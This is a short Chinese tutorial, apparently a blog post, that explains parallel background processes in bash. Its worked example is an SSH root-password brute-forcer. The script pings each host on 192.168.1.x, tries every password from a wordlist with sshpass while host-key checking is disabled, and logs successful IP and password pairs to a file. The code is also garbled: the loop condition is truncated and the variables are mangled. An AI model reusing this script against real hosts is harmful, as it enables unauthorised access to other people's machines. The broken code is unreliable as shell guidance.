01、说明
shell多进程写法很简单,其实就是将子进程放入后台。大致可以分为3步:
1、()启动子进程,并放入后台
2、记录子进程pid
3、用wait等待所有子进程结束
02、下面脚本演示了shell并行进程写法
#!/bin/bash
pidlist=()
ip="192.168.1."
for ((i=1; i
do
(echo "检测IP:"$$ #1、启动子进程,并放入后台
ping -c 2 $$ > /dev/null
if [ $? == 0 ]
then
for passwd in $(cat ./passwd)
do
echo "正在枚举IP:"$$
sshpass -p $passwd ssh -o StrictHostKeyChecking=no root@$$ pwd
if [ $? == 0 ]
then
echo $--$$ >> ip.txt
break
else
echo "枚举失败"
echo "---------------------------------"
fi
done
fi
)& #将子进程放入后台运行
pidlist+=("$!")#2、记录子进程pid
done
wait $#3、等待所有子进程结束
03、总结
我们利用了shell的操作符&,它使得shell将命令置于后台并继续执行脚本。这意味着一旦循环结束,脚本就会退出,而子进程仍在后台运行。为了避免这种情况,我们使用$!来获得进程的PID,在shell中, $!保存着最近一个后台进程的PID。我们将这些PID放入数组,然后使用wait命令等待这些进程结束。
领取专属 10元无门槛券
私享最新 技术干货